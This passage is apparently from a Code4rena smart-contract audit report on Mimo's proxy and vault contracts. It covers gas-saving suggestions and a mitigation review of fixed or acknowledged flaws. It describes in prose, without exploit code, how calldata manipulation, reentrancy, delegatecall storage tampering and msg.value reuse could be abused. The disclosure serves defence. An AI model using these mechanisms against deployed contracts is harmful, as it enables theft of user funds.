Note : This is describing an optimization that the sponsor already chose to ignore, to be thorough: https://github.com/code-423n4/2022-08-mimo/tree/main/docs/#for-loop-syntax

In Solidity 0.8+, there's a default overflow check on unsigned integers. It's possible to uncheck this in for-loops and save some gas at each iteration, but at the cost of some code readability, as this uncheck cannot be made inline.

ethereum/solidity#10695

Consider wrapping with an `unchecked` block here (around **25 gas saved** per instance):

```
proxy/MIMOProxy.sol:132:     for (uint256 i = 0; i < targets.leng
```

The change would be:

```
- for (uint256 i; i < numIterations; i++) {
+ for (uint256 i; i < numIterations;) {
  // ...
+    unchecked { ++i; }
  }
```

The same can be applied with decrements (which should use `break` when `i == 0`).

The risk of overflow is non-existent for `uint256` here.

[G-10] It costs more gas to initialize variables with their default value than letting the default value be applied.

If a variable is not set/initialized, it is assumed to have the default value (`0` for `uint` , `false` for `bool` , `address(0)` for address...). Explicitly initializing it with its default value is an anti-pattern and wastes gas (around **3 gas** per instance).

Affected code:

```
proxy/MIMOProxy.sol:132:     for (uint256 i = 0; i < targets.lenc
```

Consider removing explicit initializations for default values.

[G-11] Upgrade pragma

Using newer compiler versions and the optimizer give gas optimizations. Also, additional safety checks are available for free.

The advantages here are:

- **Contract existence checks** (>= 0.8.10): external calls skip contract existence checks if the external call has a return value

Consider upgrading here :

```
proxy/MIMOProxy.sol:2:pragma solidity >=0.8.4;
proxy/MIMOProxyFactory.sol:2:pragma solidity >=0.8.4;
proxy/MIMOProxyRegistry.sol:2:pragma solidity >=0.8.4;
```

[G-12] Optimizations with assembly

The original warden who proved these type of findings is 0xKitsune. Clone the repo [0xKitsune/gas-lab](), copy/paste the contract examples and run `forge test --gas-report` to replicate the gas reports with the optimizer turned on and set to 10000 runs.

(For in-depth details on each of the following sub-sections, see the warden's full report.)

12.1. Use assembly for math (add, sub, mul, div)

Use assembly for math instead of Solidity. You can check for overflow/underflow in assembly to ensure safety. If using Solidity versions < 0.8.0 and you are using Safemath, you can gain significant gas savings by using assembly to calculate values and checking for overflow/underflow.

12.2. Use assembly to check for address(0)

12.3. Use assembly to write storage values

[G-13] Use Custom Errors instead of Revert Strings to save Gas

Custom errors are available from solidity version 0.8.4. Custom errors save ~50 gas each time they're hit by avoiding having to allocate and store the revert string. Not defining the strings also save deployment gas

Additionally, custom errors can be used inside and outside of contracts (including interfaces and libraries).

Source: https://blog.soliditylang.org/2021/04/21/custom-errors/:

> Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. Until now, you could already use strings to give more information about failures (e.g., `revert("Insufficient funds.");`), but they are rather expensive, especially when it comes to deploy cost, and it is difficult to use dynamic information in them.

POC Contract:

```
contract GasTest is DSTest {
    Contract0 c0;
    Contract1 c1;
```

```
    function setUp() public {
        c0 = new Contract0();
        c1 = new Contract1();
    }

    function testFailGas() public {
        c0.stringErrorMessage();
        c1.customErrorMessage();
    }
}

contract Contract0 {
    function stringErrorMessage() public {
        bool check = false;
        require(check, "error message");
    }
}

contract Contract1 {
    error CustomError();

    function customErrorMessage() public {
        bool check = false;
        if (!check) {
            revert CustomError();
        }
    }
}
```

POC Gas Report:

Contract0 contract				
Deployment Cost	Deployment Size			
34087	200			
Function Name	min	avg	median	max
stringErrorMessage	218	218	218	218

Contract1 contract					
Deployment Cost	Deployment Size				
26881	164				
Function Name	min	avg	median	max	
customErrorMessage	161	161	161	161	

Consider replacing all revert strings with custom errors in the solution.

```
actions/MIMOEmptyVault.sol:96:     require(flashloanRepayAmount <
actions/MIMOLeverage.sol:130:     require(collateralBalanceAfter
actions/MIMORebalance.sol:129:     require(
actions/MIMOSwap.sol:47:     require(proxy != address(0), Errors.
actions/MIMOSwap.sol:48:     require(router != address(0), Errors
```

m19 (Mimo) commented:

> We found this gas report really outstanding.

Mitigation Review

Mitigation review by horsefacts

Review PR: https://github.com/mimo-capital/2022-08-mimo/pull/1

Final review commit: `093f46e870cf22d12c373db37e361bf27fc97661`

Intro

The Mimo team engaged Code4rena to review mitigations related to their August 2022 audit contest.

C4 mitigation reviews are time-boxed best efforts conducted by an individual warden. The findings documented in this report do not guarantee the absence of

any further vulnerabilities.

Mitigation Overview

The following is an overview of the issues identified during the audit contest and the related mitigations.

[H-01] MIMOEmptyVault.sol executeOperation() does not transfer the Vault leftover assets to the owner, it is locked in the MIMOEmptyVault

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that `MIMOEmptyVault` transferred in a vault's full collateral balance when repaying vault rebalance flash loans, but did not return excess collateral to the vault owner when the flash loan repayment amount was less than the vault's collateral balance. Instead, the excess amount would be locked in the action contract.

What changed: The Mimo team updated `MIMOEmptyVault#emptyVaultOperation` to transfer collateral exactly equal to the flashloan repayment amount, rather than the full vault balance. This behavior is demonstrated by an integration test.

Why it works: Since excess collateral is never transferred to `MIMOEmptyVault`, it can no longer be locked in the contract.

[H-02] Automation / management can be set for not yet existing vault

Github Issue

Status: ✅ Resolved after review (see finding M.H-01 below)

Finding: Wardens identified that malicious callers could configure automation and management parameters for uninitialized vaults when vault owner and proxy address were unset for a given vault ID and caller and returned `adress(0)`, which caused an access control check to unintentionally pass.

What changed: `MIMOAutoAction#setAutomation` now checks whether the vault owner is the zero address. An integration test demonstrates that attempting to call `setAutomation` on an uninitialized vault will revert. `MIMOManagedAction#setAutomation` performs the same check, and an integration test exercises it.

Why it works: Since `setAutomation` now explicitly checks that the vault is initialized, configuration cannot be set for an uninitialized vault.

[H-03] Registry.sol fails to deliver expected functionality

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that both `MIMOProxy` and `MIMOProxyRegistry` stored proxy ownership data, but ownership transfers were not propagated from `MIMOProxy` to the `MIMOProxyRegistry`. This would cause new owners to lose access to vault funds and old owners to retain privileged access to automation configuration.

What changed: The Mimo team removed the `owner` state variable and `transferOwner` function from `MIMOProxy`. Additionally, they removed `MIMOProxyRegistry` altogether and moved its functionality to `MIMOProxyFactory`. Ownership data is now stored only in `MIMOProxyFactory`, and all ownership transfers must now be performed by calling `MIMOProxyFactory#transferOwnership` rather than interacting with `MIMOProxy`.

`MIMOProxyFactory` now stores a mapping of proxy address to `ProxyState`, a struct that includes the current owner address. The `claimOwnership` function updates both the owner address and the current proxy when a new user accepts ownership. A unit test demonstrates this behavior.

An integration test demonstrates that proxy permissions are cleared after ownership transfers.

In its authorization check in the `execute` function, `MIMOProxy` reads from the proxy factory to determine the current owner address. Client contracts MIMOEmptyVault, MIMOLeverage, MIMORebalance, MIMOAutoAction, and MIMOManagedAction now read the current proxy from `MIMOProxyFactory`.

Why it works: Since `MIMOProxyFactory` is now the single source of truth for `MIMOProxy` ownership, this data cannot fall out of sync across contracts. Since client contracts call `MIMOProxyFactory#getCurrentProxy`, they will correctly read the current proxy address.

[H-04] Incorrect implementation of access control in MIMOProxy:execute

Github Issue

Status: ✅ Resolved

Finding: A warden identified that callers could bypass a permissions check in `MIMOProxy#execute` by passing specially constructed calldata, enabling the caller to invoke a contract's fallback function.

What changed: `MIMOProxy#execute` now reads the first four bytes of the `data` parameter directly rather than using `data.offset` to extract the function selector from calldata.

Why it works: Since attackers can no longer manipulate the extracted selector, they cannot bypass the permissions check. A unit test demonstrates this behavior.

[M-01] Vault rebalancing can be exploited if two vaults rebalance into the same vault

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that `MIMOAutoRebalance#rebalance` was vulnerable to reentrancy by swapping through a malicious token that transfers control to the caller.

What changed: The Mimo team added a reentrancy guard to the `rebalance` function. An integration test demonstrates that the function is protected against reentrancy.

Why it works: Since `rebalance` is protected by a reentrancy guard, attempts to reenter `rebalance` will now revert.

[M-02] Malicious targets can manipulate MIMOProxy permissions

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that malicious target contracts could manipulate storage variables in `MIMOProxy`, including the contract's `_initialized` and `_initializing` state variables and permissions granted to external "envoys."

What changed: The Mimo team have removed all storage variables from `MIMOProxy`:

- The `MIMOProxy` contract is no longer `Initializable`, removing `_initialized` and `_initializing`.
- Proxy owner is now stored in `MIMOProxyFactory`, removing `owner`.
- Minimum gas reserve is now stored in `MIMOProxyFactory`, removing `minGasReserve`.
- Permissions are now stored in a separate `MIMOProxyGuard` contract, removing the `_permissions` mapping.

Why it works: Since `MIMOProxy` no longer includes any storage variables, they cannot be maliciously manipulated by `delegatecall` to target contracts.

[M-03] Malicious manipulation of gas reserve can deny access to MIMOProxy

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that users could lose access to their `MIMOProxy` by setting a high minimum gas reserve using `delegatecall`.

What changed: The minimum gas reserve by proxy address is now stored in the `_proxyStates` mapping in `MIMOProxyFactory`. The proxy owner may update the minimum gas reserve value for their proxy by calling the `setMinGas` function. This behavior is demonstrated by a unit test here.

Only the owner may call `setMinGas`. Authorization behavior is demonstrated by a unit test here.

Why it works: Since `minGasReserve` is no longer stored in `MIMOProxy` storage, it cannot be manipulated as described in the original finding.

[M-04] Persisted msg.value in a loop of delegate calls can be used to drain ETH from your proxy

Github Issue

Status: 👍 Acknowledged

Finding: Wardens identified that calling `payable` functions via `BoringBatchable#batch` could lead to double spends or reuse of `msg.value`.

What changed: The Mimo team have acknowledged the risk of `payable` calls to `BoringBatchable#batch`.

Acknowledgment:

> In no normal usage of the `MIMOProxy` should there ever be ETH stuck in the contract.
> In the future, we might need `batch` to be `payable`. For example, our main protocol supports calls such as `depositETH` and `depositETHAndBorrow`, which do we want to work with the `MIMOProxy`.

[M-05] MIMOManagedRebalance.sol#rebalance calculates managerFee incorrectly

Github Issue

Status: ✅ Resolved

Finding: A warden identified that the variable portion of manager fees in `MIMOManagedRebalance` was calculated incorrectly, based on the amount of the rebalance flash loan denominated in the collateral asset rather than the amount of the rebalance denominated in PAR.

What changed: The Mimo team updated the fee calculation to calculate the rebalance amount in PAR using a price feed.

Why it works: Since the rebalance amount is now denominated in PAR, it no longer fluctuates in terms of the collateral asset.

[M-06] ProxyFactory can circumvent ProxyRegistry

Github Issue

Status: ✅ Resolved

Finding: Wardens identified that proxies could be deployed directly from the `MIMOProxyFactory` without being registered with the `MIMOProxyRegistry`.

What changed: The `ProxyRegistry` contract has been removed, and registration functionality is now included in `MIMOProxyFactory`.

The only mechanism for deploying a proxy is now to call `MIMOProxyFactory#deploy`.

Why it works: Since there is only one code path to deploy a `MIMOProxy` and `MIMOProxyFactory` is the single source of truth for proxy registration, it is no longer possible to deploy an unregistered proxy as described in the finding.

[M-07] Vault owner can front run rebalance to lower incentives

Github Issue

Status: 👍 Acknowledged

Finding: A warden identified that a malicious vault owner could frontrun automated calls to `MIMOAutoRebalance#rebalance` and reconfigure their automated vault with a reduced incentive fee.

What changed: The Mimo team have acknowledged the finding.

Acknowledgement:

> We've decided against fixing this in the end.

> The only potential loser is a keeper/automator that gets frontrun and does not get the reward they thought they would get and thus paid a gas fee that was not covered by the reward. We feel keepers are advanced enough to hide their txs from the mempool and that they're also smart enough to let the tx revert if it does not yield a profit. For legit users of the protocol this has no impact whatsoever IMO.

> We also feel a timelock wouldn't have been enough of a mitigation and might hurt legitimate use of the protocol.

[M-08] If a MIMOProxy owner destroys their proxy, they cannot deploy another from the same address

Github Issue

Status: ✅ Resolved

Finding: A warden identified that if a `MIMOProxy` owner destroys their proxy by calling selfdestruct, they cannot deploy another from the same address.

What changed: The Mimo team added a check for the current proxy's codesize in `MIMOProxyFactory#deploy`. If the proxy has been destroyed it is will be deleted from the `_proxyStates` mapping and a new proxy can be deployed. A unit test demonstrates this behavior.

Why it works: Since a proxy's codesize will be zero when it has been destroyed, and cannot be zero otherwise, this check will allow the owner of a destroyed proxy to deploy another.

Findings

The following is an overview of the issues identified during the mitigation review as well as the related resolutions.

[M.H-01] Missing check for uninitialized vault in `MIMOManagedAction#setManagement`

Status: ✅ Resolved

Finding: Remediation of issue H-02 is incomplete: the same ownership check added to MIMOAutoAction#setManagement should be added to `MIMOManagedAction#setManagement` to prevent setting management parameters for an uninitialized vault.

Recommendation: Add the same zero address check in `MIMOAutoAction#setManagement` to `MIMOManagedAction#setManagement`.

Fix: Resolved by adding a zero address check in commit `5a63c76e`.

[M.M-01] Missing `whenNotPaused` modifier on flash loan callbacks

Status: ✅ Resolved

Finding: The `whenNotPaused` modifier has been added to the `executeOperation` flash loan callback in the action contracts `MIMOLeverage`, `MIMOEmptyVault`, and `MIMORebalance`, but it is missing from the `MIMOAutoRebalance` and `MIMOManagedRebalance` callbacks.

Recommendation: Add the `whenNotPaused` modifier to these functions.

Fix: Resolved by adding the missing modifiers in commit `093f46e8`.

[M.N-01] Emit events in `MIMOPausable`

Status: ✅ Resolved

Finding: The `MIMOPausable` contract does not emit events from the state-changing `pause` and `unpause` functions.

Recommendation: Emit `Paused(address)` and `Unpaused(address)` events from the `pause` and `unpause` functions. See OpenZeppelin's Pausable implementation as an example.

Fix: Resolved by adding events in commit `093f46e8` .

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top